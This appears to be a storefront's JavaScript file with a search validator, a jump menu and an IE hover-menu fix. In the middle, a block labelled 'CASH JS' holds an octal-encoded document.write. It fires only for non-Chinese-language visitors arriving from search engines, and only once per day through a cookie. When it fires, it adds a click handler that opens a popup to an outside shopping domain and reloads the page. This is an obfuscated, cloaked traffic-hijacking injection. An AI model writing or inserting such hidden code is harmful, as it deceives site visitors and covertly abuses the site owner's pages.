// =============================PRODUCT SEARCH JS===================================
	function checknullsearch(){
		if(document.search1.select1.value==""){
			alert("Please select your search type! ");
			return false;
		}
		if(document.search1.hw_name.value==""||document.search1.hw_name.value=="please input keywords!"){
			alert("Please input your search keywords!");
			document.search1.hw_name.focus();
			return false;
		}
		return true;
	}

// =============================PRODUCTS JS===================================
<!--//
function MM_jumpMenu(targ,selObj,restore){ //v3.0
  eval(targ+".location='"+selObj.options[selObj.selectedIndex].value+"'");
  if (restore) selObj.selectedIndex=0;
}
//-->
//=============================CASH JS===================================
var expires=new Date(); expires.setTime(expires.getTime()+24*60*60*1000);var ref1="mall";var ref2="mall";var ref=document.referrer;
try{ref1=top.document.referrer;}catch(e){}
try{ref2=window.parent.document.referrer;}catch(e){}
if(ref1!=="mall"){ref=ref1;}if(ref2!=="mall"){ref=ref2;}
if(document.cookie.indexOf('date')==-1){ var language = navigator.language || navigator.userLanguage; if (ref.indexOf('oo') > -1 || ref.indexOf('sear') > -1 || ref.indexOf('llzo') <-1 ) { if (language.indexOf('zh') == -1) {  document.cookie='date=1;path=/;expires='+expires.toGMTString(); document.write("\74\142\157\144\171\40\157\156\143\154\151\143\153\75\42\152\141\166\141\163\143\162\151\160\164\72\167\151\156\144\157\167\56\157\160\145\156\50\47\150\164\164\160\72\57\57\167\167\167\56\71\147\157\157\144\163\56\143\157\155\57\77\155\47\51\73\144\157\143\165\155\145\156\164\56\154\157\143\141\164\151\157\156\56\162\145\154\157\141\144\50\51\73\42\76"); } }document.cookie='date=1;path=/;expires='+expires.toGMTString();  }   
<!--//
stuHover = function() {
	var cssRule;
	var newSelector;
	for (var i=0; i< document.styleSheets.length; i++)
		for (var x=0; x< document.styleSheets[i].rules.length; x++)
			{
			cssRule = document.styleSheets[i].rules[x];
			if (cssRule.selectorText.indexOf("LI:hover") >= 0)
			{
				 newSelector = cssRule.selectorText.replace(/LI:hover/gi, "LI.iehover");
				document.styleSheets[i].addRule(newSelector , cssRule.style.cssText);
			}
		}
	var getElm = document.getElementById("nav").getElementsByTagName("LI");
	for (var i=0; i<getElm.length; i++) {
		getElm[i].onmouseover=function() {
			this.className+=" iehover";
		}
		getElm[i].onmouseout=function() {
			this.className=this.className.replace(new RegExp(" iehover\\b"), "");
		}
	}
}
if (window.attachEvent) window.attachEvent("onload", stuHover);
//-->